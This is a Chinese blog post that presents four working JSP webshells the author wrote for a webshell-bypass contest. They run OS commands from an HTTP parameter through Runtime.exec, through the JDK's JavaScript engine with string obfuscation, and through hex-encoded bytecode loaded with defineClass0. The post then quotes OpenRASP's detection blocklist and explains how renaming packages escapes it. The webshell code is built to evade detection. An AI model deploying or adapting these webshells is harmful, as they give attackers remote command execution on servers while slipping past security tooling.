热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

java动态加载特性中实现jspwebshell绕过的示例分析

今天就跟大家聊聊有关java动态加载特性中实现jspwebshell绕过的示例分析,可能很多人都不太了解,为了让大家更加了解,小编给大家总结了以下内容

今天就跟大家聊聊有关java动态加载特性中实现jsp webshell绕过的示例分析,可能很多人都不太了解,为了让大家更加了解,小编给大家总结了以下内容,希望大家根据这篇文章可以有所收获。

整体介绍

共四个jsp webshell 当时用来参加青藤webshell bypass 活动。主要思路是在静态中寻找动态特性:jdk内置Javascript引擎class字节码加载

0.jsp webshell裸奔

<%@ page import="java.util.*,java.io.*"%>





<%
if (request.getParameter("cmd") != null) {
        out.println("Command: " + request.getParameter("cmd") + "
");         Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));         OutputStream os = p.getOutputStream();         InputStream in = p.getInputStream();         DataInputStream dis = new DataInputStream(in);         String disr = dis.readLine();         while ( disr != null ) {                 out.println(disr);                 disr = dis.readLine();                 }         } %>

最直接的写法直接over。另外发现本机PC windows defender也有把0.jsp查杀了。

java动态加载特性中实现jsp webshell绕过的示例分析

1.jsp 借助Javascript引擎开始第一次动态化

<%@ page import="java.util.*,java.io.*,javax.script.*,java.net.*"%>

<%
if (request.getParameter("cmd") != null) {
        String n = request.getParameter("cmd");
  try {
        n = java.net.URLDecoder.decode(n, "UTF-8");
			} catch (Exception e) {
					  e.printStackTrace();
			}
        String j = System.getProperty("java.version");
        ScriptEngineManager engineManager = new ScriptEngineManager();
        ScriptEngine engine = null;
        boolean b = j.indexOf("1.7") == 0 ? true : false;
        engine = engineManager.getEngineByName("js");
        String m = b ? "(function sum() {importPackage(java.util);importPackage(java.lang);Runtime.getRuntime().exec(a); return a; })(a)" :
          "load(\"nashorn:mozilla_compat.js\");(function sum() {importPackage(java.util);importPackage(java.lang);Runtime.getRuntime().exec(a); return a; })(a)";
        Bindings bindings = engine.createBindings();
        bindings.put("a", n);
        engine.setBindings(bindings, ScriptContext.GLOBAL_SCOPE);
        engine.eval(m, bindings);
  }
%>

jdk内置Javascript引擎,其中从jdk1.6默认实现是:Rhino jdk,jdk 1.8之后是:nashorn。1.jsp有对jdk不同版本做了适配。

2.jsp 基于动态化后的变形

<%@ page import="java.util.*,java.io.*,javax.script.*,java.net.*"%>

<%
if (request.getParameter("cmd") != null) {
        String n = request.getParameter("cmd");
  try {
        n = java.net.URLDecoder.decode(n, "UTF-8");
			} catch (Exception e) {
					  e.printStackTrace();
			}
        String j = System.getProperty("java.version");
        ScriptEngineManager engineManager = new ScriptEngineManager();
        ScriptEngine engine = null;
        boolean b = j.indexOf("1.7") == 0 ? true : false;
        engine = engineManager.getEngineByName("js");
        String m = b ? "(function sum() {importPackage(java.util);importPackage(java.lang);{$0}time{$1}Run{$2}().ex{$3}(a); return a; })(a)"
                             .replace("{$0}" ,"Run")
                             .replace("{$1}",".get")
                             .replace("{$2}","time")
                             .replace("{$3}","ec"):
          "load(\"nashorn:mozilla_compat.js\");(function sum() {importPackage(java.util);importPackage(java.lang);Run{$0}ntime().e{$1}c(a); return a; })(a)"
                .replace("{$0}","time.getRu")
                .replace("{$1}","xe");

        Bindings bindings = engine.createBindings();
        bindings.put("a", n);
        engine.setBindings(bindings, ScriptContext.GLOBAL_SCOPE);
        engine.eval(m, bindings);
  }
%>

1.jsp中只是使用了js引擎,但是还没充分发挥动态脚本混淆和变形的能力,2.jsp尝试做简单的替换变形。我们知道xss的防护对正则检测的挑战是很大的,个人的感受是xss经常伴随着html和Javascript的混合,并且Javascript的变化多端容易混淆带来的进一步的检测难度,这里我们实现了类似的思路:java 与Javascript的混合,Javascript的动态多变能力依然可以发力,所以无论是正则还是静态语法分析的检测方式应该都会带来一些障碍。

3.jsp 字节码动态加载

<%@ page import="java.util.*,java.io.*,javax.script.*,java.net.*"%>
<%@ page import="java.lang.reflect.Method" %>

<%

    if (request.getParameter("cmd") != null) {
        String n = request.getParameter("cmd");
        try {
            n = java.net.URLDecoder.decode(n, "UTF-8");
        } catch (Exception e) {
            e.printStackTrace();
        }

        String regexSeparator = ":";
        String[] octets = hex.split(regexSeparator);
        byte[] data = new byte[octets.length];

        for (int i = 0; i < octets.length; i++) {
            if (octets[i].length() > 2) {
                throw new NumberFormatException("Invalid octet length");
            }
            data[i] = Integer.valueOf(octets[i], 16).byteValue();
        }

        L l = new L();
        l.defineClass0("A", data);
        Class classA = l.loadClass("A");
        Method m = classA.getDeclaredMethod("F", String.class);
        m.invoke(null, n);
    }
%>

3.jsp 是基于defineClass0 加载字节码来bypass。当时的思路也是想历次的入侵黑客喜欢用base64做些绕过,java可以动态加载字节码,字节码十六进制传递很难被正则waf抓住。后面在研究 ”冰蟹“ 的时候看到也用了defineclass方式。

内置Javascript引擎带来的脆弱

JEP提案,开发者 与安全三者的感想

jdk中是否要内置Javascript引擎值得商榷,的确java开发者有比较强的 动态脚本 的需求,比如我自己做些规则引擎,配置系统的时候常用到这样的特性。这样的需求groovy是个很好的榜样,由第三方jar包提供。现实情况下内置的Javascript引擎性可能不满足应用需求,比如jdk从1.8将实现换成nashorn,到了jdk15提案中又有人提议替换掉nashorn。还有在自己研究百度openrasp的时候,可以看到最早期版本java对应的规则引擎是由jdk内置提供的,而到最后还是因为性能问题切换到V8引擎。

solr配置脚本RCE

另记一次solr CVE-2019-0193 远程代码执行漏洞,记得当初这个0day爆出的时候乙方的poc文章对payload打了马赛克,结合官方文档已经猜到是Javascript动态配置引起,立马验证确实如此。此处有“default”,脆弱性立马显现。

java动态加载特性中实现jsp webshell绕过的示例分析

一句话Javascript引擎哪家强有由用户自己决定吧

对比其他webshell工具

在写完上面的几个jsp的webshell的时候,和部门做渗透同事交流他提到过一个“冰蟹”。以前对webshell工具的理解上更多的关注自动化,方便,比如“中国菜刀”。但是“冰蟹”不同,他借用了协议交互会话的逻辑去增强bypass能力,开阔了思路值得借鉴。

RASP能做些什么?

以百度rasp为例,针对冰蟹,Javascript动态脚本的webshell如何去匹配呢?

function validate_stack_java(stacks) {
    var known    = {
        &#39;com.thoughtworks.xstream.XStream.unmarshal&#39;:                                   "Using xstream library",
        &#39;java.beans.XMLDecoder.readObject&#39;:                                             "Using WebLogic XMLDecoder library",
        &#39;org.apache.commons.collections4.functors.InvokerTransformer.transform&#39;:        "Using Transformer library (v4)",
        &#39;org.apache.commons.collections.functors.InvokerTransformer.transform&#39;:         "Using Transformer library",
        &#39;org.apache.commons.collections.functors.ChainedTransformer.transform&#39;:         "Using Transformer library",
        &#39;org.jolokia.jsr160.Jsr160RequestDispatcher.dispatchRequest&#39;:                   "Using JNDI library (JSR 160)",
        &#39;com.sun.jndi.rmi.registry.RegistryContext.lookup&#39;:                             "Using JNDI registry service",
        &#39;org.apache.xbean.propertyeditor.JndiConverter&#39;:                                "Using JNDI binding class",
        &#39;com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig&#39;:                "Using JTA transaction manager",
        &#39;com.sun.jndi.url.ldap.ldapURLContext.lookup&#39;:                                  "Using LDAP factory service",
        &#39;com.alibaba.fastjson.JSON.parseObject&#39;:                                        "Using fastjson library",
        &#39;org.springframework.expression.spel.support.ReflectiveMethodExecutor.execute&#39;: "Using SpEL expressions",
        &#39;freemarker.template.utility.Execute.exec&#39;:                                     "Using FreeMarker template",
        &#39;org.jboss.el.util.ReflectionUtil.invokeMethod&#39;:                                "Using JBoss EL method",
        &#39;org.codehaus.groovy.runtime.ProcessGroovyMethods.execute&#39;:                     "Using Groovy library",
        &#39;bsh.Reflect.invokeMethod&#39;:                                                     "Using BeanShell library",
        &#39;jdk.scripting.nashorn/jdk.nashorn.internal.runtime.ScriptFunction.invoke&#39;:     "Using Nashorn engine",
        &#39;org.apache.shiro.io.DefaultSerializer.deserialize&#39;:                            "Using Shiro framework (DefaultSerializer)"
    }
 
    var userCode = false, reachedInvoke = false, i = 0, message = undefined
 
    // v1.1.1 要求在堆栈里过滤 com.baidu.openrasp 相关的类,因为没有实现正确而产生了多余的反射堆栈,这里需要兼容下防止误报
    // v1.1.2 修复了这个问题,即堆栈顶部为命令执行的方法
    if (stacks.length > 3
        && stacks[0].startsWith(&#39;sun.reflect.GeneratedMethodAccessor&#39;)
        && stacks[1] == &#39;sun.reflect.GeneratedMethodAccessorImpl.invoke&#39;
        && stacks[2] == &#39;java.lang.reflect.Method.invoke&#39;)
    {
        i = 3
    }
 
    for (; i < stacks.length; i ++) {
        var method = stacks[i]
 
        // 检查反射调用 -> 命令执行之间,是否包含用户代码
        if (! reachedInvoke) {
            if (method == &#39;java.lang.reflect.Method.invoke&#39;) {
                reachedInvoke = true
            }
 
            // 用户代码,即非 JDK、com.baidu.openrasp 相关的函数
            if (! method.startsWith(&#39;java.&#39;)
                && !method.startsWith(&#39;sun.&#39;)
                && !method.startsWith(&#39;com.sun.&#39;)
                && !method.startsWith(&#39;com.baidu.openrasp.&#39;))
            {
                userCode = true
            }
        }
 
        if (method.startsWith(&#39;ysoserial.Pwner&#39;)) {
            message = "Using YsoSerial tool"
            break
        }
 
        if (method.startsWith(&#39;net.rebeyond.behinder&#39;)) {
            message = "Using BeHinder defineClass webshell"
            break
        }
 
        if (method.startsWith(&#39;com.fasterxml.jackson.databind.&#39;)) {
            message = "Using Jackson deserialze method"
            break
        }
 
        // 对于如下类型的反射调用:
        // 1. 仅当命令直接来自反射调用才拦截
        // 2. 如果某个类是反射生成,这个类再主动执行命令,则忽略
        if (! userCode) {
            if (method == &#39;ognl.OgnlRuntime.invokeMethod&#39;) {
                message = "Using OGNL library"
                break
            }  else if (method == &#39;java.lang.reflect.Method.invoke&#39;) {
                message = "Unknown vulnerability detected"
            }
        }
 
        if (known[method]) {
            message = known[method]
        }
    }
    return message
}

我们可以看到rasp会hook住java stacks信息,然后去和已知的黑名单库去匹配,比如上面提到的 Javascript引擎手法(关键字nashorn),冰蟹(关键字behinder)。不得不说rasp这种以调用栈作为上下文检测的更加精准,但是软件的生命周期是迭代的,对抗的手法也是升级的。

比如Javascript引擎随着jdk版本的迭代而变化,策略脚本中缺失了jdk 1.8 之前Rhino方式 。对于冰蟹关键字”behinder“匹配能够防住工具小子,尽管冰蟹作者没有公布源码,但是拟向这类工具更改包名都不是难事,从而逃脱rasp的检查。

看完上述内容,你们对java动态加载特性中实现jsp webshell绕过的示例分析有进一步的了解吗?如果还想了解更多知识或者相关内容,请关注编程笔记行业资讯频道,感谢大家的支持。


推荐阅读
  • 本文详细介绍了在Mac操作系统中使用Python连接MySQL数据库的方法,包括常见的错误处理及解决方案。 ... [详细]
  • 本文介绍了JSP的基本概念、常用标签及其功能,并通过示例详细说明了如何在JSP页面中使用Java代码。 ... [详细]
  • Nagios可视化插件开发指南 —— 配置详解
    本文详细介绍了Nagios监控系统的配置过程,包括数据库的选择与安装、Nagios插件的安装及配置文件的解析。同时,针对常见的配置错误提供了具体的解决方法。 ... [详细]
  • 本文详细介绍了利用JavaScript实现的五种不同的网页弹出窗口技术,包括全屏窗口、全屏模式窗口、带收藏链接工具栏的窗口、网页对话框及HTA窗口。 ... [详细]
  • 本文详细解析了Java中流的概念,特别是OutputStream和InputStream的区别,并通过实际案例介绍了如何实现Java对象的序列化。文章不仅解释了流的基本概念,还探讨了序列化的重要性和具体实现步骤。 ... [详细]
  • 本文详细介绍了Spring AOP注解的基本概念及其实现方式,并通过实例演示了如何在项目中使用这些注解进行面向切面的编程。旨在帮助开发者更好地理解和运用Spring AOP功能。 ... [详细]
  • 本文介绍了多种Eclipse插件,包括XML Schema Infoset Model (XSD)、Graphical Editing Framework (GEF)、Eclipse Modeling Framework (EMF)等,涵盖了从Web开发到图形界面编辑的多个方面。 ... [详细]
  • 本教程旨在指导开发者如何在Android应用中通过ViewPager组件实现图片轮播功能,适用于初学者和有一定经验的开发者,帮助提升应用的视觉吸引力。 ... [详细]
  • 深入理解Java反射机制
    本文将详细介绍Java反射的基础知识,包括如何获取Class对象、反射的基本过程、构造器、字段和方法的反射操作,以及内省机制的应用。同时,通过实例代码加深对反射的理解,并探讨其在实际开发中的应用。 ... [详细]
  • 转载自:https:blog.csdn.netu013948858articledetails77800663【python】pip安装报错UnicodeDecode ... [详细]
  • GCC(GNU Compiler Collection)是GNU项目下的一款功能全面且高效的多平台编译工具,广泛应用于Linux操作系统中。本文将详细介绍GCC的特点及其基本使用方法。 ... [详细]
  • 本文介绍了在解决Hive表中复杂数据结构平铺化问题后,如何通过创建视图来准确计算广告日志的曝光PV,特别是针对用户对应多个标签的情况。同时,详细探讨了UDF的使用方法及其在实际项目中的应用。 ... [详细]
  • 解决jQuery Spinner按钮垂直排列问题
    本文探讨了如何通过CSS调整jQuery Spinner组件中的上下按钮,实现它们的垂直堆叠布局。 ... [详细]
  • 本文探讨了一个在Spring项目中常见的问题——当pom.xml文件中引入了servlet依赖但未指定其作用域为provided时导致的应用启动失败。文章详细分析了错误原因,并提供了有效的解决方案。 ... [详细]
  • 本文基于《Core Java Volume 2》的内容,深入探讨了网络编程中通过POST方法提交表单数据的技术细节,包括GET与POST方法的区别、POST提交的具体步骤及常见问题处理。 ... [详细]
author-avatar
盼抽淡了烟的悲伤
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有